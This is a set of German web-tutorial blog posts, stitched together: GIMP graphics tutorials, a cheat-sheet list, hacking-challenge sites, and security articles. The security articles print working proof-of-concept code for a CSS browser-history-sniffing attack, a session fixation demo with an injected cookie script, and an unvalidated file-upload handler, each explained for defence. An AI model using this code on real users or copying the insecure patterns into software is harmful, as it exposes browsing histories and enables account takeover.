In Zeiten des Web 2.0 sind vor allem Icons und Buttons beliebt geworden.

Da die meisten Tutorials für Photoshop gemacht wurden, darf hier ein Tutorial für GIMP natürlich nicht fehlen.

In diesem Tutorial zeige ich, wie man in wenigen Schritten und mit sehr geringem Aufwand einfache Web 2.0 Icons erstellen kann, die sich besonders für neue Projekte/Produkte eignen (z.B. die bekannten "BETA" Buttons).

Los geht's

Zuerst erstellen ein neues Bild mit einer beliebigen Größe (z.B. 400 x 400 Pixel).

Da wir in diesem Tutorial einen Button mit Zacken bzw. Spitzen erstellen werden, erstellen wir einen neuen Pinsel. Dazu klicken wir im Pinseldialog unten auf das Symbol.

Jetzt öffnet sich der Pinseleditor. Dort nehmen wir folgende Einstellungen vor:

• Form: Karo
• Radius: 100,0
• Spitzen: 20
• Härte: 1,00

Nun wählen wir die Vordergrundfarbe aus, die der Button haben soll.

Danach erstellen wir eine neue transparente Ebene, wählen das Pinselwerkzeug mit unseren eben erstellten Pinsel und klicken einmal ins Bild.

Nun machen wir eine Auswahl vom Button (Rechtsklick auf die Ebene > Auswahl aus Alphakanal) und verkleinern sie um 2 Pixel (Auswahl > Verkleinern...).

Danach erstellen wir eine neue transparente Ebene.

Als nächstes stellen wir die Vordergrundfarbe auf weiß, wählen das Verlaufswerkzeug, setzen den Farbverlauf auf "VG nach Transparent" und ziehen den Verlauf auf der Auswahl von oben nach unten. Die Deckkraft setzen wir auf ca. 85%.

Nun erstellen wir wieder eine neue transparente Ebene und umranden die Auswahl (Auswahl > Rand ...). Dort geben wir 1 Pixel an.

Jetzt wiederholen wir den Schritt von eben. Mit dem Verlaufswerkzeug ziehen wir einen Verlauf von oben nach unten (VG nach Transparent). Anschließend heben wir die Auswahl wieder auf und wenden den graußschen Weichzeichner mit 1 Pixel an (Filter > Weichzeichnen > Graußscher Weichzeichner ...).

Je nach Farbe kann die Deckkraft noch etwas runtergeschraubt werden.

Zum Schluss erstellen wir dann noch einen Text und das war's schon.

Das Ergebnis

Das Ergebnis kann sich für den geringen Aufwand doch sehen lassen:

Auch interessant:

• GIMP Tutorial #1 – Schneebedeckter Text
• GIMP Tutorial #2 – 3D Produktboxen
• 25+ aktuelle Cheat Sheets für Webworker
• 16 nützliche Firefox-Addons für Webworker
• Advanced Local und Remote File Inclusion

Viele Webbrowser enthalten seit Jahren eine Sicherheitslücke, die bis heute noch nicht geschlossen wurde. Mit einem sog. CSS History Hack ist es möglich, die Browser History (auch Verlauf oder Chronik genannt) auszulesen.

In der Browser History werden die zuletzt besuchten Webseiten gespeichert. Somit ist es möglich herauszufinden, welche Webseiten ein Besucher bereits besucht hat. Internetnutzer könnten anhand der Daten identifiziert werden und Angreifer könnten diese nutzen, um gezielte Phishing-Angriffe durchzuführen.

Häufig wird die Browser History mit Javascript ausgelesen. JavaScript zu deaktivieren oder Addons wie NoScript zu verwenden reicht aber nicht aus. Was die meisten nicht wissen ist, dass CSS History Hacks in vielen Browsern auch mit CSS möglich sind.

Ursache der Sicherheitslücke

Die Ursache der Sicherheitslücke ist die Art, wie ein Browser speichert, ob ein Link bereits gefolgt wurde. Ist man einem Link bereits gefolgt, wird er per Stylesheet farblich anders dargestellt, als Links, denen man noch nicht gefolgt ist.

Wurde ein Link also bereits gefolgt, gibt es Änderungen im Stylesheet, die der Browser als Attribute in der History speichert.

Funktionsweise eines Angriffs

Ein Angreifer kann nicht einfach direkt abfragen, welche Webseiten in der Browser History gespeichert sind. Er muss eine Liste mit vordefinierten URLs erstellen. Jede URL in dieser Liste wird dann anhand der Attribute im Stylesheet überprüft.

Da die Überprüfung normalerweise ziemlich schnell ist, können problemlos tausende URLs innerhalb kürzester Zeit überprüft werden.

Was Angreifer mit den Daten machen könnten

Das Protential von solchen Angriffen sollte man nicht unterschätzen. Neben gezielten Phishing-Angriffen ist noch einiges mehr möglich.

Sämtliche Daten könnten ausspioniert werden - besonders in Kombination mit Social Engineering. Vor allem soziale Netzwerke sind von davon betroffen.

Proof-of-Concept

Hinweis: Die Live-Demos / Scripte könnt ihr unbedenklich testen. Es werden keine Daten über besuchte Webseiten protokolliert, sondern nur dargestellt.

Beide Live Demos wurden mit Firefox und Chrome getestet.

Ausnutzung per JavaScript

Live Demo: CSS History Hack Beispiel per JavaScript

Die Demo basiert auf ein Script von Jeremiah Grossman, WhiteHat Security, Inc.

/*
NAME: JavaScript History Thief
AUTHOR: Jeremiah Grossman

BSD LICENSE:
Copyright (c) 2006, WhiteHat Security, Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the WhiteHat Security nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/

/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */
var websites = [
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
];

/* Loop through each URL */
for (var i = 0; i < websites.length; i++) {

  /* create the new anchor tag with the appropriate URL information */
  var link = document.createElement("a");
  link.id = "id" + i;
  link.href = websites[i];
  link.innerHTML = websites[i];

  /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
  document.write('<style>');
  document.write('#id' + i + ":visited {color: #FF0000;}");
  document.write('</style>');

  /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
  document.body.appendChild(link);
  var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  document.body.removeChild(link);

  /* check to see if the link has been visited if the computed color is red */
  if (color == "rgb(255, 0, 0)") { // visited

    /* add the link to the visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('visited').appendChild(item);

  } else { // not visited

    /* add the link to the not visited list */
    var item = document.createElement('li');
    item.appendChild(link);
    document.getElementById('notvisited').appendChild(item);

  } // end visited color check if

} // end URL loop

Dieses Beispiel zeigt die klassische Ausnutzung per JavaScript. Bereits gefolgten Links (im Stylesheet a:visited) wird eine rote Farbe zugewiesen. Anschließend wird überprüft, für welche Links diese Farbe definiert wurde.

Ausnutzung per CSS und PHP

Live Demo: CSS History Hack ohne JavaScript

<?php
  session_start();

  header('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP 1.1
  header('Cache-Control: post-check=0, pre-check=0, false'); // HTTP 1.0
  header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
  header('Pragma: no-cache');

  $websites = array(
  'http://www.google.de',
  'http://www.ebay.de',
  'http://www.web-tuts.de',
  'http://www.youtube.com',
  'http://www.myhammer.de',
  'http://www.heise.de',
  'http://www.t3n.de/news/',
  'http://www.myspace.com',
  'http://de.wikipedia.org',
  'http://de.wikipedia.org/wiki/Buffer_Overflow',
  'http://de.wikipedia.org/wiki/Javascript',
  'http://www.spiegel.de',
  'http://www.golem.de'
  );

  $c = count($websites);

  if(empty($_SESSION['visited']))
  	$_SESSION['visited'] = array();

  if(empty($_SESSION['id']))
  	$_SESSION['id'] = md5(uniqid(mt_rand(), true));

  if(!empty($_SERVER['QUERY_STRING']))
  {
    // script wurde via css background image aufgerufen
    if(preg_match('/([a-f0-9]{32})-(\d*)/i', $_SERVER['QUERY_STRING'], $matches))
    {
    	$num = $matches[2];

    	// wenn eintrag noch nicht vorhanden, hinzufuegen
    	if(!in_array($websites[$num], $_SESSION['visited']))
        $_SESSION['visited'][] = $websites[$num];
    }
  }

  $not_visited = array_diff($websites, $_SESSION['visited']);
?>
<html>
<head>
<style type="text/css">
#list { position: absolute; visibility: hidden; }
<?php
  for($i = 0; $i < $c; $i++)
    echo 'a:visited span.span' . $i . '{background:url('.basename(__FILE__).'?'.$_SESSION['id'].'-'.$i.');color:#c00;}';
?>
</style>
</head>
<body>
<div id="list">
<?php
  for($i = 0; $i < $c; $i++)
    echo '<a href="'.$websites[$i].'">'.$websites[$i].'<span class="span'.$i.'"></span></a>';
?>
</div>
<ul id="visited">
<?php
  foreach($_SESSION['visited'] as $visited)
    echo '<li><a href="'.$visited.'">'.$visited.'</a></li>';
?>
</ul>
<ul id="notvisited">
<?php
  foreach($not_visited as $notvisited)
    echo '<li><a href="'.$notvisited.'">'.$notvisited.'</a></li>';
?>
</ul>
</body>
</html>

Diese Methode wurde von IT-Wissenschaftlern einer Universität vorgestellt und funktioniert auch ohne JavaScript.

Der Trick bei dieser Methode ist, dass im Stylesheet bei a:visited mit background:url() das PHP Script mit eindeutigen IDs geladen/nachgeladen wird. Die übergebene ID in der URL entspricht einer vom Angreifer festgelegten ID einer vordefinierten Webseite. Somit kann der Angreifer anhand der ID feststellen, welche Webseite bereits besucht wurde.

Wurde eine Webseite also bereits besucht, wird mit background:url() das Script mit der entsprechenden ID im Hintergrund geladen und die Webseite protokolliert (in diesem Beispiel zur Demonstration in einer Session gespeichert).

Zusätzlich wird dem Script ein eindeutiger String zur Identifikation eines Internetnutzers übergeben - normalerweise die IP Adresse. Somit können besuchte Webseiten einer IP zugeordnet werden. In diesem Beispiel ist das nur ein zufällig generierter MD5 Hash.

Gegenmaßnahmen

Nun zum wichtigen Teil - wie schützt man sich vor CSS History Hacks?

Es gibt zwei Möglichkeiten, um sich effektiv gegen solche Angriffe zu schützen.

1. Festlegen, dass der verwendete Browser keine History anlegt.

Die beste und sicherste Möglichkeit ist im Browser einzustellen, dass gar keine History angelegt wird. Wer also darauf verzichten kann, sollte diese Möglichkeit nutzen.

In Firefox geht das unter Bearbeiten > Einstellungen > Datenschutz

Alternativ kann man dort auch benutzerdefinierte Einstellungen vornehmen und z.B. einstellen, dass die Chronik nach 2 Tagen gelöscht werden soll.

2. Browser-Addon nutzen

Eine weitere Möglichkeit ist das Nutzen eines speziellen Browser-Addons. Für Firefox eignet sich das SafeHistory Addon von der Stanford Universität. Allerdings scheint es mit neueren FF Versionen nicht kompatibel zu sein.

Auch interessant:

• 16 nützliche Firefox-Addons für Webworker
• Sichere Formulare – Teil 1
• Downloads
• Content-Spoofing – Teil 1 – JavaScript
• 10 Mythen zum Thema Web Security

Alle nötigen Infos dazu findet ihr auf der Downloadseite des Plugins.

Auch interessant:

• Downloads
• Bulletproof WP Contact Form
• Bulletproof Contact Form
• 25+ aktuelle Cheat Sheets für Webworker
• Sichere Formulare – Teil 2

Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.

Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabhängig voneinander betrachtet. Zudem können Benutzer nicht eindeutig identifiziert werden.

Für diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung während einer Session (Sitzung) speichern können und somit eine zusammenhängende Kommunikation ermöglichen.

Sessions sind aber nicht nur nützlich, sondern auch ein beliebtes Ziel von Anfreifern. Es gibt verschiedene Angriffsmethoden. In diesem Artikel geht es um Session Fixation.

Sessions allgemein

Session Files

Durch eine Session können einem Benutzer Sitzungsdaten zugeordnet werden, die auf dem Server in sogenannte Session Files (temporär) gespeichert werden.

Solche Sitzungsdaten werden von einer Webanwendung erstellt. In PHP werden diese Daten im superglobalen Array $_SESSION übertragen.

Session-ID (SID)

Die Authentifizierung findet während einer Session über die Session-ID statt. Die Session-ID ist also wie ein Passwort, das für kurze Zeit gültig ist.

Kennt ein Angreifer die Session-ID, kann er die aktuelle Sitzung übernehmen, indem sein Client (Browser) die selbe Session-ID zum Kommunizieren mit dem Webserver verwendet.

PHP erzeugt eine Session-ID mit einer Länge von 32 Zeichen. Das Erraten ist also praktisch unmöglich und Brute-Force Attacken werden wahrscheinlich auch nicht gelingen.

Die Session-ID wird üblicherweise in Cookies oder in der URL per GET-Parameter übertragen. Die Übertragung per POST-Methode ist allerdings auch möglich.

Sessionverwaltung in PHP

Zur Initialisierung einer Session wird in PHP die Funktion session_start() verwendet.

<?php
  session_start();
  ...
?>

Wenn noch keine Session existiert, wird dem Client eine eindeutige Session-ID zugewiesen. Liefert der Client allerdings eine gültige Session-ID mit, wird die aktuelle Session wieder aufgenommen!

session_start() erzeugt eine Session oder nimmt die aktuelle wieder auf, die auf der Session-ID basiert, die mit einer Anfrage, z.B. durch GET, POST oder ein Cookie, übermittelt wurde. - Quelle: php.net

Die Session-ID kann mit der Funktion session_id() ausgelesen werden.

<?php
  ...
  echo session_id();
?>

Mit unset() können Session Variablen gelöscht werden.

<?php
  ...
  unset($_SESSION['foo']);
?>

Mit session_destroy() werden alle aktuellen Sitzungsdaten gelöscht.

<?php
  ...
  session_destroy();
?>

Bei php.net gibt es eine Liste mit weiteren Session Funktionen.

Session Fixation

Bei einer Session Fixation gibt ein Angreifer eine Session-ID vor und versucht diese fixierte Session-ID einem Benutzer unterzujubeln.

Der Vorteil von Angreifern ist, dass PHP jede beliebige übermittelte Session-ID akzeptiert.

In der folgenden Grafik wird veranschaulicht, wie die einfachste Form eines Session Fixation Angriffs aussieht. Hier wird die Session-ID in der URL übertragen.

Schauen wir uns die einzelnen Schritte etwas genauer an.

1. Der Angreifer schickt eine präparierte URL in Form eines Links an sein Opfer, die zu einem Loginbereich einer Online Banking Website führt, wo das Opfer registriert ist. In der URL befindet sich die fixierte Session-ID (1234).

2. Das Opfer ruft den präparierten Link auf. An dieser Stelle erkennt der Webserver bereits die Session-ID und weist sie einer Session zu.

3. Das Opfer loggt sich mit seinen Logindaten ein.

4. Der Angreifer ruft nun mit der selben Session-ID eine Seite des Loginbereichs auf. Der Webserver erkennt die gültige Session-ID, die bereits einer Session zugewiesen ist. Die Webanwendung stellt fest, dass gültige Sitzungsdaten existieren und es sich um den eingeloggten Benutzer "Max Mustermann" handelt. Der Angreifer ist nun also mit den Daten seines Opfers eingeloggt und kann mit dem Account anstellen, was er will.

Proof-Of-Concept

Folgendes Code-Beispiel soll das ganze praktisch demonstrieren. Hierzu sind folgende Einstellungen in der php.ini notwendig, damit die Session-ID in der URL übertragen wird.

session.use_cookies = 0
session.use_only_cookies = 0
session.name = PHPSESSID

<?php
  session_start();

  if(!empty($_SESSION['userid']))
    echo 'Willkommen zurueck! ID: ' . $_SESSION['userid'];
  else
  {
    $_SESSION['userid'] = md5(uniqid(mt_rand(), true));
    echo '<p>Du bist neu hier. Deine neue ID: ' . $_SESSION['userid'] . '</p>';
    echo '<p>Session-ID: ' . session_id() . '</p>';
  }
?>

Das ganze können wir jetzt einfach mit zwei verschiedenen Browsern testen.

Browser1 = Opfer
Browser2 = Angreifer

Zuerst wird die Session-ID vom Angreifer bestimmt.

login.php?PHPSESSID=5678

Nun rufen wir die URL in Browser1 auf.

Du bist neu hier. Deine neue ID: 9eb47aed86421db352d3e2c7753c121b

Session-ID: 5678

Rufen wir die URL erneut auf, werden wir identifiziert.

Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b

Wenn wir die URL nun mit der selben Session-ID (5678) in Browser2 aufrufen, werden wir ebenfalls identifiziert und erhalten die gleiche Ausgabe.

Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b

Bei einem Loginscript wären wir jetzt mit Browser2 eingeloggt.

Session-ID in der URL

Werden Session-IDs in der URL übertragen, gibt es noch weitere Gefahren. Zum Beispiel die sogenannte Self Exploitation. Interessante Links werden gerne mal in Foren, Blogs, Twitter, etc. weitergegeben. Und was ist der einfachste Weg? Genau, die URL aus der Adresszeile kopieren. Jeder, der den Link aufruft, übernimmt die Session.

Sehr kritisch wird es, wenn andere Methoden (aus)genutzt werden. Zum Beispiel könnte ein Angreifer HTTP Weiterleitungen in PHP Anwendungen (z.B. Foren) ausnutzen. Dann müsste er noch nicht einmal jemanden dazu bringen, die präparierte URL aufzurufen.

Session-ID in Cookies

Wenn die Session-ID in einem Cookie übertragen wird, ist Session Fixation ohne weiteres nicht möglich. Die Betonung liegt hier auf "ohne weiteres", denn mit einer einfachen XSS Sicherheitslücke auf der Zielseite, sieht die Sache schon wieder anders aus.

Ein Angreifer könnte durch injizierten JavaScript Code sein Opfer dazu bringen das entsprechende Cookie zu setzen.

<script>document.cookie='PHPSESSID=1234';</script>

Das Kombinieren von Sicherheitslücken kann sehr effektiv sein kann.

Gegenmaßnahmen

Session Fixation ist im Gegensatz zu anderen Angriffsmethoden auf Sessions wie z.B. Session Hijacking ziemlich leicht zu verhindern.

Man könnte das Übermitteln der Session-ID per URL deaktivieren. Das geht ganz einfach, indem man den Wert von session.use_only_cookies in der php.ini auf 1 setzt.

Hat man kein Zugriff auf die php.ini, kann man das ganze auch im Script mit ini_set() regeln. Wichtig ist, dass das ganze vor dem Aufruf von session_start() geschieht.

<?php
  ini_set('session.use_only_cookies', 1);
  session_start();
  ...
?>

Das verhindert aber immer noch nicht Session Fixation, da (wie bereits erwähnt) mithilfe von anderen Sicherheitslücken die Session-ID in einem Cookie injiziert werden kann.

Session-ID Regenerierung

Ein sicherer und effizienter Schutz gegen Session Fixation ist die Session-ID Regenerierung. Bei jeder Authentifizierung ersetzen wir die Session-ID durch eine neue.

Dazu wird die Funktion session_regenerate_id() verwendet.

Die Funktion session_regenerate_id() ersetzt die aktuelle Session-ID durch eine neue und übernimmt die aktuellen Session-Informationen. - Quelle: php.net

Der Angreifer schickt eine präparierte URL mit einer fixierten Session-ID an sein "Opfer". Das "Opfer" loggt sich ein und erhält eine neue Session-ID. Die alte, fixierte Session-ID ist für den Angreifer somit nutzlos.

Bei erfolgreichem Login ersetzen wir also die Session-ID. Zudem sollten bei einem Logout immer alle Sitzungsdaten gelöscht werden.

<?php
  session_start();

  // fixierte Session-ID vom Angreifer:

  echo '<p>Alte Session-ID: ' . session_id() . '</p>';

  // Login

  ...

  // wenn Login erfolgreich, neue Session-ID und Session Variable:

  if(empty($_SESSION['user']))
  {
    session_regenerate_id();
    echo '<p>Neue Session-ID: ' . session_id() . '</p>';

    // Session Variable zur Identifikation eines eingeloggten Benutzers definieren:
    $_SESSION['user'] = true;
  }

  // bei jedem Request überprüfen, ob es sich um einen eingeloggten Benutzer handelt:
  if(!empty($_SESSION['user']))
  {
    // Benutzer ist eingeloggt, da die Session Variable existiert!
    ...
  }

  // Logout:
  session_destroy();
?>

Das war's soweit für den ersten Teil zum Thema Session Sicherheit in PHP.

Auch interessant:

• Sicherheitslücken kombinieren
• 10 Mythen zum Thema Web Security
• CSS History Hacks – Auslesen von besuchten Webseiten
• Über Web-Tuts.de
• Bulletproof Contact Form

Das kann der eigene Rechner oder Server sein. Allerdings müsste man dann für jeden Test eine Testumgebung einrichten, anpassen oder sogar selbst programmieren.

Um das erlernte Wissen praktisch und vor allem legal auf anderen Websites bzw. Servern zu testen, kann man auf sogenannte Hackits zurückgreifen. Hackits (oder Challenges) sind praktische Übungsaufgaben rund um das Thema IT-Security.

Wie funktioniert das ganze?

Man versetzt sich in die Lage eines Angreifers und versucht Sicherheitslücken auszunutzen. Aber nicht nur das - es gibt auch viele weitere Challenges zu den Themen Programmierung, Kryptographie, Steganographie, Logik, etc.

Websites oder Software?
Hackits werden in der Regel auf Websites angeboten. Es gibt aber auch die ein oder andere Software, die als Testumgebung verwendet werden kann.

Bei den Websites gibt es den Vorteil, dass dort ein Punkte- bzw. Rankingsystem existiert, um sich mit anderen Messen zu können sowie und eine dazugehörige Community, die einen Tipps gibt, wenn man nicht weiter kommt.

Top 5 der (Hacking & Security) Challenges Sites

TheBlacksheep (bright-shadows.net)

Hack This Site! (hackthissite.org)

Happy-Security (happy-security.de)

Thisislegal.com

WeChall (wechall.net)

Auf der Website wechall.net gibt es neben eigenen Challenges auch ein globales Punkte- und Rankingsystem. Zurzeit werden 35 Challenges Sites unterstützt.

WebGoat: Web Security Training

Das WebGoat Projekt von OWASP ist eine auf Java basierte Lern- und Testumgebung zum Thema Web Security. Die Aufgaben sind gut strukturiert und realistisch. Zu jeder Aufgabe gibt es detaillierte Lösungen mit hilfreichen Tipps.

Damn Vulnerable Linux

"Damn Vulnerable Linux" ist eine Linux-Distribution in Form einer Live-CD. Sie enthält vor allem verwundbare Software - also nicht unbedingt ein System, das man bei der täglichen Arbeit verwenden sollte

Die beiliegende Dokumentation ist als Schulungsmaterial für Sicherheitsverantwortliche einsetzbar. Wer also etwas tiefer in die Materie der (Netzwerk-)Sicherheit unter Unix-Systemen eindringen will, sollte sich das mal anschauen.

Fazit

Hackits / Challenges und spezielle Software, die eine virtuelle, realitätsnahe Umgebung ermöglichen, bieten reichlich Platz zum Experimentieren und zum Testen des erlernten Wissens. Allerdings ist es nichts für Einsteiger, die sich bisher nur wenig mit den Themen beschäftigt haben. Die meisten Aufgaben erfordern bereits gute Kenntnisse.

Für diejenigen, die ihr erlerntes Wissen praktisch testen oder erweitern wollen, sind Hackits bzw. Challenges allerdings sehr empfehlenswert.

Auch interessant:

• Über Web-Tuts.de

Es gibt bereits viele Listen mit Cheat Sheets, allerdings sind einige verlinkte Cheat Sheets bereits veraltet. Deshalb sind in diesem Artikel ausschließlich aktuelle Cheat Sheets zu Themen wie (X)HTML, CSS, JavaScript, WordPress, Twitter, SEO, etc. aufgelistet.

Cheat Sheets

Hinweis: Einige der folgenden Cheat Sheets sind Direktlinks zu PDF-Dateien und benötigen je nach Internet-Geschwindigkeit einige Zeit zum Laden.

ActionScript

• ActionScript 3.0 Top Level Cheat Sheet (PDF, ~50 KB)

Adobe Dreamweaver

• Adobe Dreamweaver CS4 Shortcuts (PDF, ~126 KB)

Adobe Flash

• Adobe Flash CS4 Shortcuts für Windows (PDF, ~254 KB)
• Adobe Flash CS4 Shortcuts für Mac OS X (PDF, ~251 KB)

Adobe Photoshop

• Adobe Photoshop CS4 Shortcuts (PDF, ~45 KB)

CSS

• Übersicht aller CSS-Eigenschaften (HTML)
• CSS 3 Cheat Sheet (PDF, ~120 KB)

(X)HTML

• Übersicht aller (X)HTML-Elemente (HTML)
• HTML 5 Cheat Sheet (PDF, ~129 KB)
• HTML 5 Visual Cheat Sheet (PDF, ~149 KB)

jQuery

• jQuery 1.3.2 Cheat Sheet (PDF, ~41 KB)

Mootools

• Mootools 1.2 Basic Cheat Sheet (PDF, ~80 KB)

MySQL

• MySQL Cheat Sheet (PDF, ~69 KB)

PHP

• PHP 5 Online Cheat Sheet (PDF, ~56 KB)

Prototype

• Prototype 1.6.0.2 Cheat Sheet (PDF, ~155 KB)

RGB / Hex Farbtabelle

• RGB / Hex Farbtabelle (PDF, ~198 KB)

SEO

• SEO Web Developer Cheat Sheet (PDF, ~148 KB)
• SEO Cheat Sheet: Anatomy of a URL (PDF Download, ~106 KB)

SQL Injection

• SQL Injection Prevention Cheat Sheet (HTML)

Transport Layer

• Transport Layer Protection Cheat Sheet (HTML)

Twitter

• Twitter Cheat Sheet (PDF Download, ~125 KB)

WordPress

• WordPress Update Cheat Sheet (ZIP > PDF & JPG, ~784 KB)
• WordPress Template Hierarchie Cheat Sheet (ZIP > PDF & JPG, ~2700 KB)
• WordPress Template Tags Cheat Sheet (PDF, ~390 KB)

XSS (Cross-Site Scripting)

• XSS Prevention Cheat Sheet (HTML)

Weitere Cheat Sheets

• Die besten Cheat Cheets (goizio.com)
• 19 nützliche Cheat Sheets (selbstaendig-im-netz.de)
• Cheat Sheet and Quick Reference Directory (devcheatsheet.com)
• All Cheat Sheets in one page (cheat-Sheets.org)
• Cheat Sheets für Webentwickler (guido-muehlwitz.de)

Auch interessant:

• 16 nützliche Firefox-Addons für Webworker
• PHP Session Sicherheit – Session Fixation
• Bulletproof WP Contact Form
• API Crypting: Antiviren-Programme austricksen
• Bulletproof Contact Form

Im zweiten GIMP Tutorial wird gezeigt, wie man in wenigen Schritten professionelle 3D-Boxen erstellen kann. Diese können z.B. für Dienstleistungen oder digitale Produkte verwendet werden.

In GIMP gibt es einen Filter, mit dem man Ebenen auf Objekte abbilden kann. Dadurch wird das Erstellen von 3D-Boxen total einfach, da wir die 3D Objekte gar nicht selber erstellen müssen.

Los geht's

Da wir in diesem Tutorial ein Raster verwenden, legen wir als erstes die Abstände des Rasters in den Voreinstellungen fest (Bearbeiten > Einstellungen > Standardraster). Als Breite und Höhe wählen wir 40 Pixel.

Als nächstes erstellen wir ein neues Bild mit einer Größe von 400 x 500 Pixel.

Danach blenden wir das Raster ein (Ansicht > Raster anzeigen) und machen es magnetisch (Ansicht > Magnetisches Raster).

Nun erstellen wir eine neue transparente Ebene.

Wir wählen das rechteckige Auswahlwerkzeug und ziehen eine Auswahl für die Frontseite der 3D-Box (240 x 320 Pixel). Diese füllen wir erstmal mit einer grauen Farbe, damit wir die Ebene auf weißem Hintergrund besser erkennen können.

Links daneben machen wir das selbe für die rechte (von uns aus gesehen linke) Seite der 3D-Box. Dazu heben wir die Aushwal wieder auf (Auswahl > Nichts auswählen) und erstellen eine neue Ebene. Nun ziehen wir wieder eine Auswahl und füllen diese mit einem etwas dunkleren Grau. Anschließend heben wir die Auswahl wieder auf.

Das ganze sieht dann ungefähr so aus:

Jetzt könnt ihr mit dem Designen anfangen. Hier könnt ihr eurer Kreativität freien Lauf lassen. Zum Thema Cover-Design schreibe ich noch ein eigenes Tutorial.

Tipp: Um beide Seiten am Design anzupassen, könnt ihr eine Auswahl von beiden Seiten erstellen und später wieder aufteilen. Bei mir sieht das ganze so aus:

Es wird Zeit das Projekt zu speichern, damit wir später Änderungen vornehmen können.

Jetzt vereinen wir alle Ebenen die zur Frontseite gehören auf eine Ebene, damit nur noch eine Ebene für die Frontseite existiert. Dazu machen wir nur die Ebenen sichtbar, die zur Frontseite gehören und wählen im Kontextmenü "Sichtbare Ebenen vereinen" (rechte Maustaste > Sichtbare Ebenen vereinen ...). Das selbe machen wir mit den Ebenen für die andere Seite. Die beiden Ebenen benennen wir jetzt um in "Front" und "Seite". Übrig bleiben also nur noch 3 Ebenen: "Front", "Seite" und "Hintergrund".

Nun kommt der wichtigste Schritt, damit wir die 3D-Box erstellen können. Wir müssen die Ebenen auf die richtige Größe zuschneiden. Dazu wählen wir die Front-Ebene und machen eine Auswahl aus dem Alphakanal (rechte Maustaste > Auswahl aus Alphakanal). Danach wählen wir Ebene > Auf Auswahl zuschneiden. Wir heben die Auswahl wieder auf und machen das selbe mit der anderen Ebene.

Wer das Raster noch nicht ausgeblendet hat, sollte dies jetzt tun.

Kommen wir zum 3D-Objekt. Wir erstellen eine neue transparente Ebene oberhalb der anderen Ebenen. Danach wählen wir Filter > Abbilden > Auf Objekt abbilden...

Bei "Abbilden auf" wählen wir "Quader" und aktivieren die Option "Transparenter Hintergrund". Im Reiter "Licht" wählen wir als Lichtquellentyp "Keine Lichtquelle". Im nächsten Reiter "Ausrichtung" stellen wir den Wert Y bei der Rotation auf -15,0.

Im letzten Reiter "Quader" wählen wir als Vorderseite unsere Front-Ebene und bei "Rechts" unsere Ebene "Seite". Zum Schluss setzen wir noch bei der Skalierung folgende Werte.

X-Skalierung: 0,45
Y: 0,50
Z: 0,20

Und das war's auch schon Wenn das ganze etwas unscharf ist, können wir auch noch den Filter "Unscharf maskieren" anwenden.

Das Ergebnis

Mit Farben > Einfärben ... können wir die Farbe auch beliebig ändern.

Auch interessant:

• GIMP Tutorial #3 – Nützliche Web 2.0 Buttons
• GIMP Tutorial #1 – Schneebedeckter Text
• Advanced Local und Remote File Inclusion

Schutz vor Uploads von unerwünschten Dateien

Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, mit denen sie Kontrolle über Dateien auf dem Webserver erlangen können.

In dem Artikel über Local / Remote File Inclusion habe ich bereits gezeigt, wie versierte Angreifer eigenen Code injizieren können. Bei einem ungeschützten Upload-Formular haben es (auch unerfahrene) Angreifer viel leichter, da sie gar nichts injizieren brauchen.

Hierzu ein kleines Beispiel (basierend auf dem Basis-Formular - siehe Teil 1).

<?php
  //...
  if(move_uploaded_file($_FILES['datei']['tmp_name'], 'uploads/' . basename($_FILES['datei']['name'])))
    echo 'Die Datei wurde erfolgreich hochgeladen.';
?>

Die Funktion move_uploaded_file() ermöglicht den Upload. Als zweiter Parameter wird das Verzeichnis und der Dateiname angegeben, wo die Datei hin verschoben werden soll. In diesem Fall im Verzeichnis uploads/ unter dem selben Dateinamen.

Hinweis: Das angegebe Verzeichnis muss ausreichende Schreibrechte haben.

